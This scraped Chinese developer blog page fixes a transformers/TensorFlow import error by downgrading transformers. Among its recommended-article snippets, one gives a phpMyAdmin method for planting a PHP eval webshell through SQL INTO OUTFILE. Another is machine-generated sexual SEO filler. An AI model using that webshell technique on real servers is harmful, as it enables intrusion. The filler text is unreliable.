【解决】No module named ‘tensorflow.python.keras.engine.keras_tensor‘_no module named 'tensorflow.python.keras.engine.ke_啊哈[嘿哈][嘿哈]的博客-程序员宅基地

技术标签: tensorflow  python  深度学习  

项目场景:

在从hugging——Faca下载好bert-base-chinese,进行简单使用时

from transformers import BertTokenizer, TFBertModel
tokenizer = BertTokenizer.from_pretrained('bert-base-chinese')
model = TFBertModel.from_pretrained("bert-base-chinese")
text = "Replace me by any text you'd like."
encoded_input = tokenizer(text, return_tensors='tf')
output = model(encoded_input)

问题描述

RuntimeError: Failed to import transformers.models.bert.modeling_tf_bert because of the following error (look up to see its traceback):
No module named 'tensorflow.python.keras.engine.keras_tensor'


原因分析:

因为我们只导入了transformers库,所以考虑是transformers和tensorflow或者keras不兼容的问题。以下是我使用的版本。

Keras                    2.3.1
tensorflow-gpu           2.2.0
tensorflow-gpu-estimator 2.2.0

transformers             4.19.2
tokenizers               0.12.1

解决方案:

更换比较稳定的transformers==3.4.0 版本,再安装之前记得先卸载之前的transformers。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/zb_abao/article/details/125025142

智能推荐

从身份证芯片的“秘密”谈谈网络信息搜索-程序员宅基地

本文主要记录一下对身份证加密芯片和SAM密码模块的相关资料搜索过程,并(尽量)总结归纳一下搜索中的一些经验。

女生神经末梢最多的部位,女性身上哪里神经最多_「已注销」的博客-程序员宅基地

谷歌人工智能写作项目:小发猫第一位:阴蒂阴/道是女性最有魅力的部位,阴/蒂又是精华中的精华A8U神经网络。毫不夸张地说阴/蒂是女人最性敏感的部位。想要发现阴/蒂在哪里对于不老练的男人来说有点难度,但是如果男人不主动去找的话,绝对是不可原谅的事情。用手抚摩一会,女人就会刺激度可以达到触电的感觉,毫无抵抗能力。女人最喜欢被触电的感觉!排名第一固然有其魅力,但是男人要能接触到这个部位可需要多方面的投入才行哦!关键是,千万别错过机会!第二位:乳头乳房是女性的第二性特征,而乳头则是乳房最重点的部位这样的排名浪得虚名。

phpMyAdmin后台拿Shell方法及php花式爆路径方法-程序员宅基地

[PhpMyAdmin后台拿Shell]CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>');select xiaoma1 from xiaoma INTO OUT...

安装vue-cli3-程序员宅基地

1.注册淘宝镜像npm install -g cnpm --registry=https://registry.npm.taobao.org2. cnpm install -g @vue/cli转载于:https://www.cnblogs.com/yina-526/p/11558150.html

Shell 编程详解-程序员宅基地

部分引用自:https://blog.csdn.net/qq_22075977/article/details/75209149一、概述  Shell是一种具备特殊功能的程序,它提供了用户与内核进行交互操作的一种接口。它接收用户输入的命令,并把它送入内核去执行。内核是Linux系统的心脏,从开机自检就驻留在计算机的内存中,直到计算机关闭为止,而用户的应用程序存储在计算机的硬盘上,仅当需要时..._shell.wwwcity.net

PAT basic level T.1001-程序员宅基地

#includemain(){ int a; int i; i = 0; scanf("%d",&a); if (a == 1 ){ printf("%d",0); } while (a!=1 ) { if (a%2==0) { a = a/2;

随便推点

空值判断防止页面报错 必备_js el表达式 可空防止报错_HURRICANE_FAST的博客-程序员宅基地

1、?? 操作符 空值合并/空判断空值合并运算符 , 如果第一个参数不是null或者undefined,这个运算符将返回第一个参数,否则,它将返回第二个参数null ?? 3 //3undefined ?? 3 //37 ?? 3 //72、?. 操作符 null传导符(或链判断操作符)在js,如果读取对象里的某个属性时,往往需要先判断对象是否存在,以防止报错。let a = (obj && obj.name) || 'default';_js el表达式 可空防止报错

附录: Spring Boot 推荐的基础 POM 文件-程序员宅基地

spring-boot-starter核心 POM,包含自动配置支持、日志库和对 YAML 配置文件的支持。spring-boot-starter-amqp通过 spring-rabbit 支持 AMQP。spring-boot-starter-aop包含 spring-aop 和 AspectJ 来支持面向切面编程(AOP)。spring-boot-starter-batch支持 Spring B

吴恩达--机器学习--多变量线性回归实例_多变量线性回归分析案例-程序员宅基地

1.问题描述:ex1data2.txt里的数据,第一列是房屋大小,第二列是卧室数量,第三列是房屋售价 根据已有数据,建立模型,预测房屋的售价2.代码示例:# -*- coding: utf-8 -*-"""Created on Tue Aug 4 16:32:09 2020@author: X"""#问题描述:ex1data2是已知数据,第一列是房屋大小,第二列是卧室数量,第三列是房屋售价已有数据,建模预测房屋售价#1.导入所需库import numpy as npimport _多变量线性回归分析案例

关于TNSNAMES.ORA中SERVICE_NAME,SID的一点理解-程序员宅基地

关于TNSNAMES.ORA中SERVICE_NAME,SID的一点理解SID只指定一个实例,而SERVICE_NAME在RAC环境中指定多个实例。如下,该配置指定了一个节点的HOST:RAC1 =(DESCRIPTION =(ADDRESS_LIST =(ADDRESS = (PROTOCOL = TCP)(HOST = 10.122.12.16)(PORT = 1521...

浙大PTA基础编程题目集:7-6 混合类型数据格式化输入_本机按照编写程序顺序输入浮点数一整数字符浮点数二再按照字符整数浮点数一浮-程序员宅基地

浙大PTA<基础编程题目集>:7-6 混合类型数据格式化输入题目内容本题要求编写程序,顺序读入浮点数1、整数、字符、浮点数2,再按照字符、整数、浮点数1、浮点数2的顺序输出。输入格式输入在一行中顺序给出浮点数1、整数、字符、浮点数2,其间以1个空格分隔。输出格式在一行中按照字符、整数、浮点数1、浮点数2的顺序输出,其中浮点数保留小数点后2位。输入样例2.12 88 c..._本机按照编写程序顺序输入浮点数一整数字符浮点数二再按照字符整数浮点数一浮

计算机网络笔记(一~三章)-程序员宅基地

计算机网络一、概述1.因特网概述1.1 网络、互联网和因特网网络:是由若干个结点和连接这些结点的链路组成。多个网络还可以通过路由器互连起来,构成一个覆盖范围更大的网络,即“网络的网络”——互联网。因特网(Internet)是世界上最大的互联网络。Internet和internet的区别:Internet:因特网,是专有名词,用来指全球最大的,开放的,由众多网络相互连接而成的特定计算机网络,它采用TCP/IP协议作为通信的规则,其前身是美国的ARPANET。internet:互联网,